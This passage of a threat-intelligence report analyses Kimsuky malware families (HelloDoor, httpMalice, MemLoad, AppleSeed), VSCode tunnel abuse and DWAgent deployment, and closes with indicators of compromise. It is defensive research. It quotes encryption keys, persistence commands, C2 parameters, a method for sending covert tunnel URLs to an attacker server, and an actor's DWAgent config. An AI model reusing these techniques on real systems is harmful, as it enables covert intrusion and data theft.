Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.

In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.

Deployed malware

In this section, we describe several malware families recently dropped by the droppers discussed above.

HelloDoor: first Rust-based PebbleDash variant

Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.

HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].

The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.

The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:

Command Description
“mcd” Set the current directory
“msleep” Sleep for the provided time
“install” Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name
[command] Execute the provided command using chcp 65001 > nul & cmd /U /C [command]

Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.

✅ Port is now listening (no accepting)
 ❌ Port is already in use
 🔍 regsvr32.exe detected as parent. Attempting to terminate...

This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.

Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:

  • result send fail (grammatically incorrect text)
  • server request fail (grammatically incorrect text)
  • command execute failed (grammatically incorrect text)
  • decrytion failed (typos)
  • autorum failed (typos)

It is likely that the flawed comments were added manually before or after AI was used.

httpMalice: latest backdoor variant of PebbleDash

The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:

  • (PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
  • (PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
  • (PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
  • (PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
  • (AppleSeed cluster) Use of the m= parameter in C2 communication.
  • (AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.

Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.

The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].

Value of elevation status Description
0 Running under the SYSTEM account with an elevated token
1 Running under an elevated administrator account
2 Running without elevation

Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.

The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).

Windows commands used to gather system details

Windows commands used to gather system details

httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:

Value Description
1 Send the session identifier (parameter s) along with the current state (parameter a)
2 Request command
3 Send result after executing the command (parameter d)
8 Request directory to be archived and sent
9 Send the archived directory
10 Send a message like “.cmd” or “.tmp” (parameter d)
11 Send ping
12 Send the captured screenshot (parameter d)
13 Send the infected device information (parameter d)

As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].

The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.

Structure of the ChaCha20-encrypted data blob

Structure of the ChaCha20-encrypted data blob

After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:

Value Description
0 httpMalice has been activated
1 httpMalice has been inactivated (upon command 9)
2 httpMalice has been removed (upon command 8)

The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.

C2 communication sequence of httpMalice

C2 communication sequence of httpMalice

When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.

The commands supported by httpMalice are as follows:

Command Description
0 Do nothing
1 Execute the command with EUC-KR encoding
2 Download and extract the file to the infected device
3 Upload a directory to the C2 server after it has been archived
5 Get the current directory
6 Set the current directory
7 Execute the command without setting a EUC-KR character set
8 Remove its persistence traces and exit the process
9 Hibernate
10 Execute the command using the provided session ID
12 Capture the screen
13 Load the downloaded payload into memory

MemLoad downloads httpTroy

Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).

Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.

Below are the key operations of MemLoad:

  1. Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
  2. Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
  3. Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /rl highest /f is executed. Otherwise, the task is named EdgeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /f is executed.
  4. C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
  5. Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.

The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].

Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.

AppleSeed

AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.

Updated AppleSeed infection chain

Updated AppleSeed infection chain

There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.

HappyDoor

HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.

Post-exploitation

We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.

VSCode (launched by the JSE dropper)

Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.

The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.

The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.

Out.txt content

Out.txt content

The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.

VSCode (launched by VSCode installer)

While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.

Number Installer type VSCode version Download source
1 Written in JScript VSCode CLI 1.106.3 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/bf9252a2fb45be6893dd8870c0bf37e2e1766d61/vscode_cli_win32_x64_cli[.]zip
2 Written in Go VSCode CLI 1.106.2 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/1e3c50d64110be466c0b4a45222e81d2c9352888/vscode_cli_win32_x64_cli[.]zip

After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.

This is how the installer works:

  1. Executes code.exe tunnel.
  2. Searches for the “Microsoft Account” string in the stdout.
  3. Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
  4. Searches for the “use code” string in the stdout.
  5. Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
  6. Searches for the “What would you like to call this machine?” string in the stdout.
  7. Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
  8. Searches for the “https://vscode.dev/tunnel/” string in the stdout.
  9. Sends the printed URL for tunneling to the Slack WebHook.

The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)

Creating a tunnel using VSCode CLI

Creating a tunnel using VSCode CLI

Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.

An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.

DWAgent

DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.

We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.

This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:

  • c:\programdata\dwagent\native\dwagsvc.exe installService
  • c:\programdata\dwagent\native\dwagsvc.exe startService

The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.

The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.

{
 "enabled": true,
 "key": "kDRNGmWGTMpjQmREgQzU",
 "listen_port": 7950,
 "nodes": [
  {
   "id": "ND896147",
   "port": "443",
   "server": "node896147.dwservice[.]net"
  },
  {
   "id": "ND828765",
   "port": "443",
   "server": "node828765.dwservice[.]net"
  },
  {
   "id": "ND484265",
   "port": "443",
   "server": "node484265.dwservice[.]net"
  }
 ],
 "password": "eJwrynEqD0r294twTXLKCHWqDPLPCql0Kg/JDqpIdk4HAKYMCso=",
 "url_primary": "hxxps://www.dwservice[.]net/"
}

Infrastructure

For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.

The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.

Victims

We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.

Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.

[Target's name] [Description] [Infection date] 장악, http 있음, DWService 있음.

While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.

Attribution

Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.

Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.

These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.

Conclusion

Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.

Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.

Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.

Indicators of compromise

File hashes

JSE Dropper
995a0a49ae4b244928b3f67e2bfd7a6e         [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse
52f1ff082e981cbdfd1f045c6021c63f             2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
9fe43e08c8f446554340f972dac8a68c          2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse
8e15c4d4f71bdd9dbc48cd2cabc87806         노현정님.pdf.jse

Reger Dropper
65fc9f06de5603e2c1af9b4f288bb22c                       security_20260126.scr
c19aeaedbbfc4e029f7e9bdface495b9                      secu.scr

Pidoc Dropper
8983ffa6da23e0b99ccc58c17b9788c7                      대국민서비스관리운영체계_현장점검_증적(초안).pif

AppleSeed (Dropper)
a7f0a18ac87e982d6f32f7a715e12532
f4465403f9693939fe9c439f0ab33610
5c373c2116ab4a615e622f577e22e9be

HappyDoor
d1ec20144c83bba921243e72c517da5e

MemLoad
58ac2f65e335922be3f60e57099dc8a3
f73ba062116ea9f37d072aa41c7f5108          jhsakqvv.dat

httpTroy
7e0825019d0de0c1c4a1673f94043ddb        c:\programdata\config.db

httpMalice
08160acf08fccecde7b34090db18b321
94faed9af49c98a89c8acc55e97276c9

HelloDoor
c42ae004badddd3017adadbdd1421e00

VSCode Tunnel installer
9ca5f93a732f404bbb2cee848f5bbda0                      xipbkmaw.exe

DWAgent installer
678fb1a87af525c33ba2492552d5c0e2

Domains and IPs

opedromos1.r-e[.]kr                            C2 of AppleSeed
morames.r-e[.]kr                                 C2 of AppleSeed
load.ssangyongcne.o-r[.]kr                 C2 of MemLoad
load.yju.o-r[.]kr                                   C2 of MemLoad
attach.docucloud.o-r[.]kr                    C2 of MemLoad
load.supershop.o-r[.]kr                       C2 of MemLoad
load.erasecloud.n-e[.]kr                     C2 of MemLoad

cms.spaceyou.o-r[.]kr                         C2 of HappyDoor
erp.spaceme.p-e[.]kr                          C2 of HappyDoor

file.bigcloud.n-e[.]kr                            C2 of httpTroy
load.auraria[.]org                                C2 of httpTroy

female-disorder-beta-metropolitan.trycloudflare[.]com         C2 of HelloDoor
hxxps://www.pyrotech.co[.]kr/common/include/tech/default.php      C2 of httpMalice
hxxp://newjo-imd[.]com/common/include/library/default.php            C2 of httpMalice
hxxps://www.yespp.co[.]kr/common/include/code/out.php               VSCode Tunneling using JScript

❌